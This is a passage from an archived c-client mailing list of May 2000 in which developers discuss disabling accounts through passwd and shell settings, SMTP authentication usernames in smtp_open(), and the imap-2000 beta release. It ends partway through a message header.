mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA38704 for ; Thu, 25 May 2000 07:21:07 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA09233 for ; Thu, 25 May 2000 07:21:05 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id PAA02885; Thu, 25 May 2000 15:20:56 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id PAA26479; Thu, 25 May 2000 15:20:55 +0100 (BST) Message-Id: Date: Thu, 25 May 2000 15:20:55 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client Subject: re: Checking /etc/shells for access In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 May 2000, Mark Crispin wrote: > On Tue, 23 May 2000 17:01:17 +0100 (BST), David Lee wrote: > > Is there some functionality in IMAP/POP/c-client which, in the same manner > > as a typical FTP daemon, will check the user's shell against "/etc/shells" > > and prevent access if there is no match? > > The problem with having such a functionality is that it is not for everybody. > Some people use their systems' existing /etc/shells functionality to create > "IMAP only" users. > > In my opinion, the best way to disable a user completely is to insert a "*" > character in front of the password, e.g.: > fred:*ern5WpvPF/zIj:105:69:Fred Foobar:/u/fred:/bin/ksh > This will prevent fred from logging in with any service, and all you have to > do to re-enable him is to delete the *. That's one way. But we do something different, for reasons given below, hence my question. We leave the id and pw valid, and change the "shell" field in the "passwd" database to a program that prints a message and exits. That way, the telnet type of user user gets a useful message, to tell her/him about the imminent deletion and advising them who to contact if they believe this is in error. For us and our users this is preferable to ubiquitous message "Login incorrect". I think what we choose to do is reasonable (although I'd be glad to hear of alternatives from other 10,000-user sites). So it seems reasonable that checking "/etc/shells" (as does the ftpd daemon) might at least be a site-configurable option. (OK, it cannot deliver the text that they would get at telnet-login, but their failure to collect mail would at least alert them that something, somewhere needs attention.) Thoughts? -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Tue May 30 03:18:45 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 03:18:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA14972 for ; Tue, 30 May 2000 03:18:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA14487; Tue, 30 May 2000 03:18:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA24736; Tue, 30 May 2000 03:18:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA24278 for ; Tue, 30 May 2000 03:15:52 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA28345 for ; Tue, 30 May 2000 03:15:51 -0700 Received: from pc166.phy.hw.ac.uk (matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id LAA26697 for ; Tue, 30 May 2000 11:15:47 +0100 (BST) Message-Id: <200005301015.LAA26697@phy.hw.ac.uk> Date: Tue, 30 May 2000 11:02:37 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: smtp_mail() with a username, how? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 05:10:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA01648 for ; Tue, 30 May 2000 05:10:07 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA16480; Tue, 30 May 2000 05:10:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA25560; Tue, 30 May 2000 05:09:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA14080 for ; Tue, 30 May 2000 05:08:58 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA24803 for ; Tue, 30 May 2000 05:08:54 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id PAA60210; Tue, 30 May 2000 15:08:40 +0300 (EEST) Received: from city.dbnet.ece.ntua.gr (city.dbnet.ece.ntua.gr [147.102.12.38]) by dblab.ece.ntua.gr (8.11.0.Beta1/8.10.1) with ESMTP id e4UC8ew91925; Tue, 30 May 2000 15:08:40 +0300 (EEST) Received: (from george@localhost) by city.dbnet.ece.ntua.gr (8.9.3/8.9.3) id PAA41039; Tue, 30 May 2000 15:08:40 +0300 (EEST) (envelope-from george) Message-Id: <20000530150840.A41031@dblab.ece.ntua.gr> Date: Tue, 30 May 2000 15:08:40 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Karsten Ballueder Cc: c-client Subject: Re: smtp_mail() with a username, how? In-Reply-To: <200005301015.LAA26697@phy.hw.ac.uk>; from karsten@phy.hw.ac.uk on Tue, May 30, 2000 at 11:02:37AM +0100 References: <200005301015.LAA26697@phy.hw.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, May 30, 2000 at 11:02:37AM +0100, Karsten Ballueder wrote: > How can I set a username when accessing an smtp server? This means that the particular mail server likes to talk SMTP-AUTH. I do not think that c-client supports this yet. -- # more coffee From pinedev@shivax2.cac.washington.edu Tue May 30 09:05:46 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 09:05:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA04631 for ; Tue, 30 May 2000 09:05:42 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA10961; Tue, 30 May 2000 09:05:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA02832; Tue, 30 May 2000 09:04:59 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA30230 for ; Tue, 30 May 2000 09:02:10 -0700 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA23335 for ; Tue, 30 May 2000 09:02:09 -0700 Received: from mindspring.com (user-33qt5vl.dialup.mindspring.com [199.174.151.245]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id MAA24543; Tue, 30 May 2000 12:02:05 -0400 (EDT) Message-Id: <3933E5FC.F14CC42E@mindspring.com> Date: Tue, 30 May 2000 11:02:04 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: karsten@phy.hw.ac.uk Cc: c-client Subject: Re: smtp_mail() with a username, how? References: <200005301015.LAA26697@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Sender: itsjpr@mindspring.com X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think the solution is to use smtp_open_full(). smtp_open() is a #define which sets the service type to "smtp". With smtp_open_full() you can set the service type to "service=esmtp". You will also need to use a network mailbox form of hostname for the hostlist in the call to smtp_open_full(). mail_valid_net_parse() is called on these host names so you can just use the your.host.name/user=myname format for the hostname. (Hint: You can also use "/debug" in the hostname to turn on telemetry debugging or OP_DEBUG in the options to smtp_open_full().) You will need to have linked a mailauthenticator via auth_link() before this open call.The authenticator will need to handle the AUTH= spec given in the SMTP negotiation.I don't know enough about SMTP authing, but the basic authenticators in linkage.c include MD5 and log. I'm not sure if they will do. I guess you'll need to try it.If the authentication fails you'll get an appropriate error via mm_log().The code in smtp_auth() "looks" like it's similar to general c-client authentication. I haven't tested this yet, its just my take from reading smpt_open_full() and related functions. Let me know how it works for you. Thanks. Karsten Ballueder wrote: > > Currently my applicaion uses smtp_open()/smtp_mail() just fine to send messages. > However, a new mailserver I'm trying to use requires a username in order to > access it (found out using netscape messenger which detected this problem, while > smtp_mail() just said that "one or more recipients failed"). > > How can I set a username when accessing an smtp server? > > Thanks! > -- > Karsten Ballüder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.ac.uk > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 30 12:53:15 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 12:53:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA25414 for ; Tue, 30 May 2000 12:53:13 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA18327; Tue, 30 May 2000 12:53:11 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA06171; Tue, 30 May 2000 12:52:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA38812 for ; Tue, 30 May 2000 12:50:34 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05115 for ; Tue, 30 May 2000 12:50:33 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA03380; Tue, 30 May 2000 12:50:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id MAA17722; Tue, 30 May 2000 12:50:32 -0700 Message-Id: Date: Tue, 30 May 2000 12:49:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: smtp_mail() with a username, how? In-Reply-To: <200005301015.LAA26697@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 May 2000 11:02:37 +0100 (GMT), Karsten Ballueder wrote: > How can I set a username when accessing an smtp server? Did you try using /user=... after the system name in the smtp_open() call? From pinedev@shivax2.cac.washington.edu Tue May 30 13:07:42 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 13:07:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA26926 for ; Tue, 30 May 2000 13:07:39 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA29988; Tue, 30 May 2000 13:07:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA16164; Tue, 30 May 2000 13:06:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA24662 for ; Tue, 30 May 2000 13:06:17 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA09377 for ; Tue, 30 May 2000 12:52:39 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29085; Tue, 30 May 2000 12:52:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pcs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id MAA08181; Tue, 30 May 2000 12:52:39 -0700 Message-Id: Date: Tue, 30 May 2000 12:51:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: karsten@phy.hw.ac.uk, c-client Subject: Re: smtp_mail() with a username, how? In-Reply-To: <3933E5FC.F14CC42E@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 May 2000 11:02:04 -0500, John-Paul Robinson wrote: > I think the solution is to use smtp_open_full(). smtp_open() is a > #define which sets the service type to "smtp". With smtp_open_full() > you can set the service type to "service=esmtp". This is incorrect. SMTP is the correct service type. ESMTP is selected automatically. > so you can just use the your.host.name/user=myname format for the > hostname. This is the important thing. From pinedev@shivax2.cac.washington.edu Tue May 30 14:13:10 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 14:13:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA28720 for ; Tue, 30 May 2000 14:13:09 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA20851; Tue, 30 May 2000 14:13:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA19857; Tue, 30 May 2000 14:12:30 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA34560 for ; Tue, 30 May 2000 14:11:49 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA25081 for ; Tue, 30 May 2000 14:11:48 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA17883; Tue, 30 May 2000 14:11:48 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gary@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id OAA32274; Tue, 30 May 2000 14:11:48 -0700 Message-Id: Date: Tue, 30 May 2000 14:11:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: C-Client Interest List Subject: Re: smtp_mail() with a username, how? In-Reply-To: <39342DE1.A1FA695F@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 May 2000 16:08:49 -0500, John-Paul Robinson wrote: > Is there a general preference for or against calling "_full" functions? Not really. The shorter forms are shims for compatibility with the past, but they will last forever so it's alright to use them. From pinedev@shivax2.cac.washington.edu Tue May 30 14:15:44 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 14:15:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA28503 for ; Tue, 30 May 2000 14:15:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA20973; Tue, 30 May 2000 14:15:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA15213; Tue, 30 May 2000 14:10:06 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA30588 for ; Tue, 30 May 2000 14:09:11 -0700 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA24947 for ; Tue, 30 May 2000 14:09:10 -0700 Received: from mindspring.com (user-33qt23t.dialup.mindspring.com [199.174.136.125]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id RAA13921; Tue, 30 May 2000 17:08:55 -0400 (EDT) Message-Id: <39342DE1.A1FA695F@mindspring.com> Date: Tue, 30 May 2000 16:08:49 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: Mark Crispin Cc: C-Client Interest List Subject: Re: smtp_mail() with a username, how? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Tue, 30 May 2000 11:02:04 -0500, John-Paul Robinson wrote: > > I think the solution is to use smtp_open_full(). smtp_open() is a > > #define which sets the service type to "smtp". With smtp_open_full() > > you can set the service type to "service=esmtp". > > This is incorrect. SMTP is the correct service type. ESMTP is selected > automatically. > Ah, I misread mail_valid_net_parse(). I skipped right over the check for "smtp" making me think it would return a parse error without it. Is there a general preference for or against calling "_full" functions? Thanks. From pinedev@shivax2.cac.washington.edu Tue May 30 18:41:47 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 30 May 2000 18:41:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA17543 for ; Tue, 30 May 2000 18:41:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA28808; Tue, 30 May 2000 18:41:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA27517; Tue, 30 May 2000 18:41:00 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA27976 for ; Tue, 30 May 2000 18:40:10 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA04917 for ; Tue, 30 May 2000 18:40:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (peter@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA07622; Tue, 30 May 2000 18:40:10 -0700 Message-Id: Date: Tue, 30 May 2000 18:39:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List Cc: c-client Interest List Subject: UW IMAP toolkit 2000 (imap-2000) BETA released MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN University of Washington IMAP toolkit 2000 (imap-2000) is now available as a BETA distribution. imap-2000 has a large set of major internal and external functional enhancements, as well as the usual set of bugfixes. Formal release notes haven't been written up yet, but a list of the most important changes is below. imap-2000 includes the c-client API, a test program, and servers for the POP2, POP3, and IMAP4rev1 protocols. This is the reference implementation of IMAP client and server code. Note that this is a BETA release. It has received limited loadtesting and production use but is not yet deployed on all of our production servers. imap-2000 is available from: ftp://ftp.cac.washington.edu/mail/imap-2000.BETA.tar.Z Here are the most notable user-visible features in imap-2000: 1) SSL (port 993) support in client and server, and server TLS support (STARTTLS command). Windows versions of imap-2000 have SSL support incorporated automatically. To build a UNIX version with SSL, first install the OpenSSL package from a third party, then build the IMAP toolkit with "SPECIALAUTHENTICATORS=ssl" in the make command line. For example: make lnp SPECIALAUTHENTICATORS=ssl will build the software for Linux with PAM and SSL. To use SSL, add "/ssl" to the host name, e.g. {imapserver.foo.com/ssl}INBOX SSL certificate validation is also available for testing. To use this, add "/validate-cert" to the host name. This is available only on UNIX and Windows 2000/Millenium. 2) Microsoft Kerberos support for Windows 2000 and Windows Millenium. To get this support, you need to use "nmake -f makefile.w2k" (the w2k port) instead of the nt or ntk ports. 3) Support for the concept of "IMAP administrators". An IMAP administrator is a user who can log in as any other user, and is defined as a user in the "mailadm" group. The login is done by using the SASL authorization vs. authentication user facility as described in RFC 2222 and the various SASL mechanisms. 4) Support for the MULTIAPPEND extension. 5) All known buffer overflows sealed. 6) New c-client.h file to use instead of mail.h, osdep.h, etc. It's a jacket around the other files, and is C++ safe. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed May 31 01:48:47 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 31 May 2000 01:48:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA30673 for ; Wed, 31 May 2000 01:48:45 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA04461; Wed, 31 May 2000 01:48:43 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA00487; Wed, 31 May 2000 01:48:13 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA30634 for ; Wed, 31 May 2000 01:47:22 -0700 Received: from mailhost.axime.com (net01.axime.com [160.92.120.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA13126 for ; Wed, 31 May 2000 01:47:21 -0700 Received: from hermes.atos-group.com (hermes.atos-group.com [160.92.18.9]) by mailhost.axime.com (8.9.3/[Atos MultiMedia]) with ESMTP id KAA18397; Wed, 31 May 2000 10:47:16 +0200 (MET DST) Received: by hermes.atos-group.com with Internet Mail Service (5.5.2448.0) id ; Wed, 31 May 2000 10:47:20 +0200 Message-Id: Date: Wed, 31 May 2000 10:47:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: LIAGRE Arnaud To: "'c-client@u.washington.edu'" Cc: "'Mark Crispin'" Subject: open a mailbox without asking for login and password MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to know how to open the mailbox without asking the client = for his login and password. In fact, I have already this information so I could use this info = instead of asking there for the client. I read that mm_login () must be used but I'm not sure. Please specify me how to use the login and password already given for = the client not being asked one more time. Hope you'll understand my bad english. Best regards, ---- ------ ------=20 -- - ---- ------ Arnaud LIAGRE - --- -- - - ATOS Multim=E9dia ------------------ t=E9l. : (03.20.60).79.91 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 31 03:07:21 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 31 May 2000 03:07:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA31586 for ; Wed, 31 May 2000 02:41:01 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA16654; Wed, 31 May 2000 02:40:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA06815; Wed, 31 May 2000 02:40:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA30620 for ; Wed, 31 May 2000 02:39:49 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id 